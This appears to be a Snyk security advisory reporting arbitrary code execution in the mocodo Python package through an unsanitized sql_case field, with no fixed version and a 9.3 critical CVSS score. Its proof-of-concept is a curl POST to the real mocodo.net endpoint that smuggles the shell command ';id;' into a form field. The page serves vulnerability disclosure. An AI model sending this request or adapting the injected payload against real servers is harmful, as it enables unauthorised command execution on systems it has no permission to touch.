Arbitrary Code Execution Affecting mocodo package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MOCODO-7707877
  • published 19 Aug 2024
  • disclosed 1 Aug 2024
  • credit Unknown

How to fix?

There is no fixed version for mocodo.

Overview

mocodo is a Modélisation Conceptuelle de Données. Nickel. Ni souris.

Affected versions of this package are vulnerable to Arbitrary Code Execution due to an improper sanitization of the sql_case input field.

PoC

curl -X POST https://mocodo.net/web/generate.php \
-d "state=dirty&text=RCE:+rce&conversions[]=_ddl.sql&sql_case=;id;"

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None